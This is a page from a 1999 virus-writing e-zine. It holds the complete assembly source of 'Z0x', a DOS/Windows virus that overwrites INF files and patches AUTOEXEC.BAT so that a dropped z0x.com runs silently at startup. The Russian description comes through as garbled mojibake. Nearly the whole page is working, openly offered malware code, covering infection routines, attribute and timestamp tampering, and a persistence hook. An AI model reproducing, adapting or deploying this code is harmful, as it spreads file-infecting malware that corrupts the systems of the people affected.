- [Duke's Virus Labs #9] - [Page 30] -

Z0x.INF
(c) by ULTRAS


  ࠦ ⠫樮 INF-䠩 Windows.  ⠫樨
ணࠬ ᯥ祭 ⠭ ᯮᮡ Windows  INF-䠩,
ࠡ뢠   믮 ਯ-樨.  ਯ 
⨢樨 ᮧ  ୥ ⠫ ᪠  䠩   z0x.sys,
   䠩-⥫ (ࠦ INF-䠩)  뢠  
䠩 AUTOEXEC.BAT ᪮쪮  DOS.    㧪 Windows
२ 䠩 z0x.sys  z0x.com  ᪠ .  B.COM
믮  몭 COM-䠩.

                                               ULTRAS (c)1999
===== Cut =====
.model tiny
.code
org 100h
start:
db ';', 0 ; infection marker
jmp v_start ; jmp virus start
idz db 'U', 0 ; infection marker
db 13,10
db 13,10
db '[version]',13,10
db 'signature="$CHICAGO$"',13,10 ;signature win95/98
db 'SetupClass=BASE',13,10
db 13,10
db '[DefaultInstall]',13,10
db 'CopyFiles = Ultra.File',13,10 ; ஢ 䠩  ࠧ Ultra.file
db 'UpdateAutoBat = Patch.It',13,10 ;   autoexec.bat  ࠧ Patch.it
db  13,10
db '[Patch.it]',13,10
db 'CmdDelete = "@ctty", "null"',13,10
db 'CmdDelete = "ren", "z0x.sys z0x.com"',13,10
db 'CmdDelete = "@", "z0x.com"',13,10
db 'CmdDelete = "ctty", "con"',13,10
db  13,10
db 'CmdAdd = "@ctty", "null"',13,10
db 'CmdAdd = "ren", "z0x.sys z0x.com"',13,10
db 'CmdAdd = "@", "z0x.com"',13,10
db 'CmdAdd = "ctty", "con"',13,10
db  13,10
db '[DestinationDirs]',13,10
db 'DefaultDestDir = 30',13,10  ; ୥ ⠫ 㧮筮 ந⢠
db  13,10
db '[SourceDisksNames]',13,10
db '1="ULTRAS","",1',13,10
db  13,10
db '[Ultra.File]',13,10
db 'z0x.sys, ultras.inf',13,10 ; 㥬  ultras.inf  z0x.sys
db 13,10
db ";"
v_start:
mov max_inf,0
get_dir:
mov ah,47h
lea si,old_dir
xor dl,dl
int 21h
find_:
lea dx,filemask
call find_file
return:
cmp max_inf,9
jae quit
mov ah,3bh
lea dx,dot_dot
int 21h
jnc find_
quit:
mov ah,3bh
lea dx,old_dir
int 21h
int 20h
find_file:
mov ah,4eh
mov cx,7
find_it:
int 21h
jc return
mov dx,9eh
get_attributes:
mov ax,4300h
int 21h
mov file_at,cx
set_attributes:
mov ax,4301h
xor cx,cx
int 21h
open_file:
mov ax,3d02h
int 21h
xchg bx,ax
get_time_date:
mov ax,5700h
int 21h
push cx
push dx
check:
mov ah,3fh
lea dx,buff
mov cx,4
int 21h
cmp byte ptr [buff+5],'U'
je close_file
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
write_virus:
mov ah,40h
mov cx,_end-start
lea dx,start
int 21h
inc max_inf
restore_date_time:
mov ax,5701h
pop dx
pop cx
int 21h
close_file:
mov ah,3eh
int 21h
mov cx,file_at
mov dx,9eh
mov ax,4301h
int 21h
cmp max_inf,9
jne find_next
jmp quit
find_next:
mov ah,4fh
jmp find_it
filemask   db '*.inf',0
dot_dot    db '..',0
virus_name db 'Z0x by [U]',0
virz equ _end-offset start
_end:
max_inf   db ?
file_at dw ?
buff db 6 dup(?)
old_dir db 64 dup(?)
end start
===== Cut =====
